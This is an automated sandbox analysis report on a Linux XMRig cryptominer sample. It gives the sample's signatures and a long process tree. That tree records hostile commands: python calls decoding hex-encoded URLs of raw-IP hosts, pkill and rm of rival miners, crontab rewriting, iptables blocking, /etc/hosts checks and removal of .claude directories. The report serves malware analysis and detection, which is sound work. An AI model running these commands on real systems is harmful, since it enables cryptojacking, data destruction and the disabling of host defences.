Analysis
- max time kernel
150s - max time network
116s - platform
debian-9_mips - resource
debian9-mipsbe-20260513-en - resource tags
- submitted
22/10/2026, 14:06
General
- Target afb9d13c3ff99bd200e1d08b90e80ca5d46f218881b8de66c87fc6cb104737d5
- Size 68KB
- Sample261022-repdfacz4w
- SHA256 afb9d13c3ff99bd200e1d08b90e80ca5d46f218881b8de66c87fc6cb104737d5
Score
10/10
Malware Config
Signatures
- Family: xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
- XMRig Miner payload 2 IoCs
- Disables AppArmor Mandatory Access Control 1 TTPs 28 IoCs
Stops or disables AppArmor via systemctl, removing mandatory access control restrictions on process capabilities and file access.
- Flushes firewall rules 1 TTPs 1 IoCs
Flushes/ disables firewall rules inside the Linux kernel.
- Modifies the /etc/hosts DNS resolution file 1 TTPs 1 IoCs
Modifying the /etc/hosts name-resolution file changes IP routing, which can facilitate traffic hijacking or the blocking of (security update) endpoints.
- Creates/modifies Cron job 1 TTPs 4 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
- Disables SELinux 1 TTPs 8 IoCs
Disables SELinux security module.
- Enumerates running processes
Discovers information about currently running processes on the system
- Removes the immutable protection flag from a file 1 TTPs 64 IoCs
Uses chattr to remove the immutable flag from a file, allowing previously write-protected files to be modified or deleted.
- Write file to user bin folder 6 IoCs
- Writes file to system bin folder 8 IoCs
- Discovers running processes 1 TTPs 64 IoCs
Running process information can be used to identify security tools or plan follow-on actions.
- Reads CPU attributes 1 TTPs 64 IoCs
- Enumerates kernel/hardware configuration 1 TTPs 33 IoCs
Reads contents of /sys virtual filesystem to enumerate system information.
- Reads runtime system information 64 IoCs
Reads data from /proc virtual filesystem.
- System Network Configuration Discovery 1 TTPs 5 IoCs
Adversaries may gather information about the network configuration of a system.
Processes
-
/tmp/afb9d13c3ff99bd200e1d08b90e80ca5d46f218881b8de66c87fc6cb104737d5/tmp/afb9d13c3ff99bd200e1d08b90e80ca5d46f218881b8de66c87fc6cb104737d51⤵
- Modifies the /etc/hosts DNS resolution file
- Write file to user bin folder
- Writes file to system bin folder
-
/usr/bin/python3python3 -c "import sys;print(bytes.fromhex(sys.argv[1]).decode())" 687474703a2f2f34352e37342e372e3233342f6173736574732f696d672f75706c6f6164732f2⤵
-
-
/usr/bin/python3python3 -c "import sys;print(bytes.fromhex(sys.argv[1]).decode())" 687474703a2f2f38372e3232392e36342e34392f7374617469632f6a732f76656e646f722f2⤵
-
-
/usr/bin/python3python3 -c "import sys;print(bytes.fromhex(sys.argv[1]).decode())" 687474703a2f2f34352e37342e372e3232362f6d35317372632f7075626c69632f63616368652f73746f7265732f72656469732f6c616e672⤵
-
-
/usr/bin/python3python3 -c "import sys;print(bytes.fromhex(sys.argv[1]).decode())" 687474703a2f2f3231372e3135312e39392e3231362f77702d636f6e74656e742f75706c6f6164732f323032362f30382f2⤵
-
-
/usr/bin/python3python3 -c "import sys;print(bytes.fromhex(sys.argv[1]).decode())" 687474703a2f2f3138352e3131392e39302e3230362f776562636861742f696d616765732f66696c6574797065732⤵
-
-
/usr/bin/idid -u2⤵
-
-
/bin/readlinkreadlink /proc/1/exe2⤵
-
-
/bin/readlinkreadlink /proc/10/exe2⤵
-
-
/bin/readlinkreadlink /proc/106/exe2⤵
-
-
/bin/readlinkreadlink /proc/11/exe2⤵
-
-
/bin/readlinkreadlink /proc/116/exe2⤵
-
-
/bin/readlinkreadlink /proc/117/exe2⤵
-
-
/bin/readlinkreadlink /proc/12/exe2⤵
-
-
/bin/readlinkreadlink /proc/13/exe2⤵
-
-
/bin/readlinkreadlink /proc/14/exe2⤵
-
-
/bin/readlinkreadlink /proc/144/exe2⤵
-
-
/bin/readlinkreadlink /proc/15/exe2⤵
-
-
/bin/readlinkreadlink /proc/151/exe2⤵
-
-
/bin/readlinkreadlink /proc/16/exe2⤵
-
-
/bin/readlinkreadlink /proc/168/exe2⤵
-
-
/bin/readlinkreadlink /proc/17/exe2⤵
-
-
/bin/readlinkreadlink /proc/18/exe2⤵
-
-
/bin/readlinkreadlink /proc/19/exe2⤵
-
-
/bin/readlinkreadlink /proc/2/exe2⤵
-
-
/bin/readlinkreadlink /proc/20/exe2⤵
-
-
/bin/readlinkreadlink /proc/21/exe2⤵
-
-
/bin/readlinkreadlink /proc/22/exe2⤵
-
-
/bin/readlinkreadlink /proc/23/exe2⤵
-
-
/bin/readlinkreadlink /proc/230/exe2⤵
-
-
/bin/readlinkreadlink /proc/24/exe2⤵
-
-
/bin/readlinkreadlink /proc/3/exe2⤵
-
-
/bin/readlinkreadlink /proc/314/exe2⤵
-
-
/bin/readlinkreadlink /proc/316/exe2⤵
-
-
/bin/readlinkreadlink /proc/317/exe2⤵
-
-
/bin/readlinkreadlink /proc/320/exe2⤵
-
-
/bin/readlinkreadlink /proc/321/exe2⤵
-
-
/bin/readlinkreadlink /proc/36/exe2⤵
-
-
/bin/readlinkreadlink /proc/37/exe2⤵
-
-
/bin/readlinkreadlink /proc/372/exe2⤵
-
-
/bin/readlinkreadlink /proc/373/exe2⤵
-
-
/bin/readlinkreadlink /proc/382/exe2⤵
-
-
/bin/readlinkreadlink /proc/4/exe2⤵
-
-
/bin/readlinkreadlink /proc/407/exe2⤵
-
-
/bin/readlinkreadlink /proc/5/exe2⤵
-
-
/bin/readlinkreadlink /proc/6/exe2⤵
-
-
/bin/readlinkreadlink /proc/659/exe2⤵
-
-
/bin/readlinkreadlink /proc/663/exe2⤵
-
-
/bin/readlinkreadlink /proc/666/exe2⤵
-
-
/bin/readlinkreadlink /proc/667/exe2⤵
-
-
/bin/readlinkreadlink /proc/668/exe2⤵
-
-
/bin/readlinkreadlink /proc/69/exe2⤵
-
-
/bin/readlinkreadlink /proc/695/exe2⤵
-
-
/bin/readlinkreadlink /proc/697/exe2⤵
-
-
/bin/readlinkreadlink /proc/7/exe2⤵
-
-
/bin/readlinkreadlink /proc/702/exe2⤵
-
-
/bin/readlinkreadlink /proc/704/exe2⤵
-
-
/bin/readlinkreadlink /proc/705/exe2⤵
-
-
/bin/readlinkreadlink /proc/707/exe2⤵
-
-
/bin/readlinkreadlink /proc/708/exe2⤵
-
-
/bin/readlinkreadlink /proc/71/exe2⤵
-
-
/bin/readlinkreadlink /proc/712/exe2⤵
-
-
/bin/readlinkreadlink /proc/72/exe2⤵
-
-
/bin/readlinkreadlink /proc/73/exe2⤵
-
-
/bin/readlinkreadlink /proc/74/exe2⤵
-
-
/bin/readlinkreadlink /proc/748/exe2⤵
-
-
/bin/readlinkreadlink /proc/75/exe2⤵
-
-
/bin/readlinkreadlink /proc/76/exe2⤵
-
-
/bin/readlinkreadlink /proc/77/exe2⤵
-
-
/bin/readlinkreadlink /proc/78/exe2⤵
-
-
/bin/readlinkreadlink /proc/79/exe2⤵
-
-
/bin/readlinkreadlink /proc/8/exe2⤵
-
-
/bin/readlinkreadlink /proc/82/exe2⤵
-
-
/bin/readlinkreadlink /proc/84/exe2⤵
-
-
/bin/readlinkreadlink /proc/9/exe2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/1/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/10/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/106/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/11/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/116/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/117/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/12/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/13/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/14/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/144/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/15/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/151/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/16/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/168/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/17/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/18/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/19/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/2/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/20/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/21/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/22/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/23/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/230/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/24/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/3/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/314/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/316/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/317/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/320/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/321/status2⤵
-
-
/bin/readlinkreadlink /proc/321/exe2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/36/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/37/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/372/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/373/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/382/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/4/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/407/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/5/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/6/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/659/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/663/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/666/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/667/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/668/status2⤵
-
-
/bin/readlinkreadlink /proc/668/exe2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/69/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/695/status2⤵
-
-
/bin/readlinkreadlink /proc/695/exe2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/7/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/702/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/704/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/705/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/707/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/71/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/712/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/72/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/73/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/74/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/75/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/76/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/77/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/78/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/79/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/8/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/82/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/820/status2⤵
-
-
/bin/readlinkreadlink /proc/820/exe2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/833/status2⤵
-
-
/bin/readlinkreadlink /proc/833/exe2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/84/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/858/status2⤵
-
-
/bin/readlinkreadlink /proc/858/exe2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/9/status2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/pkillpkill -9 -f auditsd2⤵
-
-
/usr/bin/pkillpkill -9 -f gt_sys_health2⤵
- Reads CPU attributes
-
-
/usr/bin/pkillpkill -9 -f gt_cron_health2⤵
- Reads CPU attributes
-
-
/usr/bin/pkillpkill -9 -f gt_sys_wd2⤵
-
-
/usr/bin/pkillpkill -9 -f ssl-compet2⤵
- Reads CPU attributes
-
-
/usr/bin/pkillpkill -9 -f sslmon2⤵
- Reads CPU attributes
-
-
/usr/bin/pkillpkill -9 -f mnmonitor2⤵
- Reads CPU attributes
- Reads runtime system information
-
-
/usr/bin/pkillpkill -9 -f cpuhide2⤵
-
-
/usr/bin/pkillpkill -9 -f "\\.xmon"2⤵
- Reads CPU attributes
-
-
/usr/bin/pkillpkill -9 -f "\\.global"2⤵
-
-
/usr/bin/pkillpkill -9 -f rsysloged2⤵
- Reads CPU attributes
-
-
/usr/bin/pkillpkill -9 -f "\\.sd-top"2⤵
-
-
/usr/bin/pkillpkill -9 -f zzh2⤵
- Reads CPU attributes
-
-
/usr/bin/pkillpkill -9 -f esocket42⤵
-
-
/usr/bin/pkillpkill -9 -f "ok\\.sh"2⤵
-
-
/usr/bin/pkillpkill -9 -f universal-miner2⤵
- Reads CPU attributes
- Reads runtime system information
-
-
/usr/bin/pkillpkill -9 -f unicorn2⤵
-
-
/usr/bin/pkillpkill -9 -f kthrotlds2⤵
- Reads CPU attributes
-
-
/usr/bin/pkillpkill -9 -f kdevtmpfsi2⤵
-
-
/usr/bin/pkillpkill -9 -f khugepageds2⤵
- Reads CPU attributes
-
-
/usr/bin/pkillpkill -9 -f "CRON jobs"2⤵
- Reads runtime system information
-
-
/usr/bin/pkillpkill -9 -f "sleep 180"2⤵
- Reads CPU attributes
- Reads runtime system information
-
-
/usr/bin/pkillpkill -9 -f "sh jobs"2⤵
- Reads CPU attributes
-
-
/usr/bin/pkillpkill -9 -f "/bin/sh jobs"2⤵
- Reads CPU attributes
-
-
/usr/bin/pkillpkill -9 -f unicorn2⤵
-
-
/usr/bin/pkillpkill -9 -f apt-update2⤵
- Reads CPU attributes
-
-
/usr/bin/pkillpkill -9 -f "joker\\."2⤵
- Reads CPU attributes
-
-
/usr/bin/pkillpkill -9 -f sysnet2⤵
- Reads CPU attributes
-
-
/usr/bin/pkillpkill -9 -f systemd-journal-shim2⤵
- Reads CPU attributes
-
-
/usr/bin/pkillpkill -9 -f hldaemon2⤵
-
-
/usr/bin/pkillpkill -9 -f /etc/cron2⤵
-
-
/usr/bin/pkillpkill -9 -f /etc/kworker2⤵
-
-
/usr/bin/pkillpkill -9 -f /etc/javaa2⤵
- Reads CPU attributes
-
-
/usr/bin/pkillpkill -9 -f /dev/shm/javaa2⤵
-
-
/bin/rmrm -rf /var/tmp/.sysnet /tmp/.sysnet /dev/shm/.sysnet /etc/.sysnet2⤵
-
-
/bin/rmrm -f /etc/cron /etc/kworker /etc/javaa /dev/shm/javaa /var/tmp/javaa /tmp/javaa /etc/cron.d/javaa2⤵
-
-
/bin/sedsed -i "/kworker/d;/javaa/d" /etc/crontab "/etc/cron.d/*"2⤵
-
-
/bin/grepgrep -vE "kworker|javaa|sysnet"2⤵
-
-
/usr/bin/crontabcrontab -2⤵
- Creates/modifies Cron job
-
-
/usr/bin/crontabcrontab -l2⤵
-
-
/bin/rmrm -rf /var/tmp/.gt_sys_health /var/tmp/.gt_sys_health.json /var/tmp/.gt_sys_wd.sh /tmp/.gt_cron_health /tmp/.gt_cron_health.json2⤵
-
-
/bin/rmrm -rf /dev/shm/.xmon-112 "/dev/shm/.xmon*" "/dev/shm/xmon*" "/tmp/.xmon*" "/var/tmp/.xmon*" "~/.cache/.dbus/mnmonitor.sh"2⤵
-
-
/bin/rmrm -rf "/opt/*/bin/.global*" "/opt/teamcity/bin/.global*" "/opt/TeamCity/bin/.global*"2⤵
-
-
/bin/rmrm -rf "/tmp/.global*" "/dev/shm/.global*" "/var/tmp/.global*"2⤵
-
-
/bin/rmrm -rf /tmp/.ICEd-unix /dev/shm/.kerberods /tmp/wc.conf /tmp/log_rot /tmp/apachiii /tmp/sustse /tmp/php /tmp/p2.conf /tmp/pprt /tmp/ppol /tmp/httpgd /etc/httpgd /tmp/1.so /tmp/kworkerds /tmp/kworkerds3 /tmp/kworkerdssx /tmp/xd.json /tmp/syslogd /tmp/syslogdb /tmp/dl /tmp/ddg /tmp/systemxlv /tmp/systemctI /tmp/.abc /tmp/osw.hb /tmp/gates.lod /tmp/conf.n /tmp/devtool /tmp/devtools /tmp/fs "/tmp/.rod*" "/tmp/.mer*" "/tmp/.hod*" /tmp/khugepageds /tmp/.kerberods /tmp/kerberods /tmp/seasame /tmp/.scr /dev/shm/z3.sh /dev/shm/z2.sh /dev/shm/.scr /tmp/baby /tmp/.lib /tmp/systemd /tmp/lib.tar.gz /tmp/java /tmp/j2.conf "/tmp/.pt*" /tmp/go /tmp/go.sh /tmp/go2.sh /tmp/is.sh /tmp/touch /tmp/.p /tmp/runtime2.sh /tmp/runtime.sh2⤵
-
-
/bin/rmrm -f /usr/local/lib/libioset.so /usr/bin/config.json /usr/bin/exin /etc/ndt.sh /etc/is.sh2⤵
-
-
/bin/rmrm -rf /tmp/.b /tmp/.salkidwuewerwe /tmp/.mmmjjsdfsdfwerrwerwer /tmp/.universal-miner /root/.universal-miner "/home/*/.universal-miner"2⤵
-
-
/bin/rmrm -rf /tmp/.b/ded /tmp/.salkidwuewerwe/ded /tmp/.mmmjjsdfsdfwerrwerwer/ded2⤵
-
-
/bin/rmrm -rf "/var/www/.syslog*" "/var/tmp/.syslog*" "/tmp/.syslog*" "/dev/shm/.syslog*"2⤵
-
-
/bin/rmrm -rf /var/lib/gitea/data/home/.claude "/var/www/html/*/.claude" /app/gitea/.claude /data/gitea/.claude /data/gitea/home/.claude /data/gitea/data/home/.claude /data/.claude /data/home/.claude2⤵
-
-
/usr/bin/findfind / -type d -name .claude -not -path "/proc/*" -not -path "/sys/*" -not -path "/dev/*"2⤵
-
-
/sbin/iptablesiptables -I OUTPUT -d 95.85.237.226 -j DROP2⤵
-
-
/sbin/iptablesiptables -I OUTPUT -d 193.41.68.194 -j DROP2⤵
-
-
/sbin/iptablesiptables -I OUTPUT -d 95.85.237.149 -j DROP2⤵
-
-
/sbin/iptablesiptables -I OUTPUT -p tcp --dport 53535 -j DROP2⤵
-
-
/bin/grepgrep -q apt-update.com /etc/hosts2⤵
-
-
/bin/grepgrep -q joker.aec944b68370194a50.link /etc/hosts2⤵
-
-
/bin/systemctlsystemctl stop moneroocean_miner.service systemde.service2⤵
- Enumerates kernel/hardware configuration
-
-
/bin/rmrm -rf /tmp/watchdogs /etc/rc.d/init.d/watchdogs /usr/sbin/watchdogs /etc/cron.d/tomcat2⤵
-
-
/usr/bin/findfind / -maxdepth 4 -name ".xmon*" -exec rm -rf "{}" ";"2⤵
-
-
/usr/bin/findfind / -maxdepth 4 -name ssl-compet -exec rm -f "{}" ";"2⤵
-
-
/usr/bin/findfind / -maxdepth 5 -name ".global*" -exec rm -rf "{}" ";"2⤵
-
-
/usr/bin/findfind / -maxdepth 5 -name esocket4 -exec rm -f "{}" ";"2⤵
-
-
/usr/bin/findfind / -maxdepth 5 -name mnmonitor.sh -exec rm -f "{}" ";"2⤵
-
-
/usr/bin/findfind / -maxdepth 5 -name .xmon_install_dir -exec rm -f "{}" ";"2⤵
-
-
/usr/bin/findfind / -maxdepth 5 -name "*.universal-miner*" -exec rm -rf "{}" ";"2⤵
-
-
/bin/grepgrep -vE "gt_sys_wd|xmon|mnmonitor|ssl-compet|pastebin.com/raw"2⤵
-
-
/usr/bin/crontabcrontab -l2⤵
-
-
/usr/bin/crontabcrontab -2⤵
- Creates/modifies Cron job
-
-
/usr/bin/awkawk -F: "\$3>=1000{print \$1}" /etc/passwd2⤵
-
-
/usr/bin/crontabcrontab -u nobody -2⤵
- Creates/modifies Cron job
-
-
/bin/grepgrep -vE "gt_sys_wd|xmon|mnmonitor|ssl-compet|pastebin.com/raw"2⤵
-
-
/usr/bin/crontabcrontab -u nobody -l2⤵
-
-
/usr/bin/crontabcrontab -u user -2⤵
- Creates/modifies Cron job
-
-
/bin/grepgrep -vE "gt_sys_wd|xmon|mnmonitor|ssl-compet|pastebin.com/raw"2⤵
-
-
/usr/bin/crontabcrontab -u user -l2⤵
-
-
/bin/sedsed -i /pastebin/d /etc/crontab "/etc/cron.d/*"2⤵
-
-
/usr/bin/pkillpkill -9 -f pastebin.com/raw2⤵
-
-
/sbin/iptablesiptables -I OUTPUT -d 45.77.67.39 -j DROP2⤵
-
-
/sbin/iptablesiptables -I OUTPUT -d 111.90.158.58 -j DROP2⤵
-
-
/sbin/iptablesiptables -I OUTPUT -d 111.90.139.202 -j DROP2⤵
-
-
/sbin/iptablesiptables -I OUTPUT -d 47.86.46.179 -j DROP2⤵
-
-
/sbin/iptablesiptables -I OUTPUT -d 47.86.46.0/24 -j DROP2⤵
-
-
/sbin/iptablesiptables -I OUTPUT -d 167.179.119.120 -j DROP2⤵
-
-
/bin/grepgrep -q fix.unknower.win /etc/hosts2⤵
-
-
/bin/grepgrep -q auto.c3pool.org /etc/hosts2⤵
-
-
/usr/bin/awkawk "/Mem:/{print \$7}"2⤵
-
-
/usr/bin/freefree -m2⤵
- Reads CPU attributes
-
-
/bin/syncsync2⤵
-
-
/usr/bin/freefree -m2⤵
- Reads CPU attributes
-
-
/usr/bin/awkawk "/Mem:/{print \$7}"2⤵
-
-
/usr/bin/whichwhich cd12⤵
-
-
/usr/bin/whichwhich wd12⤵
-
-
/usr/bin/pgreppgrep -f xmrig2⤵
- Reads CPU attributes
-
-
/usr/bin/pgreppgrep -f minerd2⤵
- Reads runtime system information
-
-
/usr/bin/pgreppgrep -f cpuminer2⤵
- Reads CPU attributes
- Reads runtime system information
-
-
/usr/bin/pgreppgrep -f ethminer2⤵
-
-
/usr/bin/pgreppgrep -f nbminer2⤵
